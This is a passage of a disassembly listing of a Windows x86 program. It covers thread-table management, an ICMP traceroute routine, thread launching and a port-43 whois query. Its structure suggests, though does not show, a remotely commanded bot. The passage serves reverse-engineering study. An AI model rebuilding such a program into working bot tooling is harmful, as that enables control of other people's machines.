		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	ds:dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	ds:dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		cmp	dword_41E2F0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E2F0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DE40, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DE40	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	ds:dword_4170E4	; InitializeCriticalSection


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E2FC	; IcmpCreateFile
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E308	; IcmpSendEcho
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	ds:dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E304	; IcmpCloseHandle
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E310
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	ds:dword_417054	; LoadLibraryA
		mov	dword_41E300, eax
		cmp	dword_41E300, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E300
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E2FC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E300
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E308, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E300
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41E304, eax
		mov	byte_41E310, 1


loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E2FC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E308, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E304, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al


loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax


loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax


loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax


loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1


loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0


loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	ds:dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1


loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	ds:dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset a43	; "43"
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset aS_1	; "%s\r\n"
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

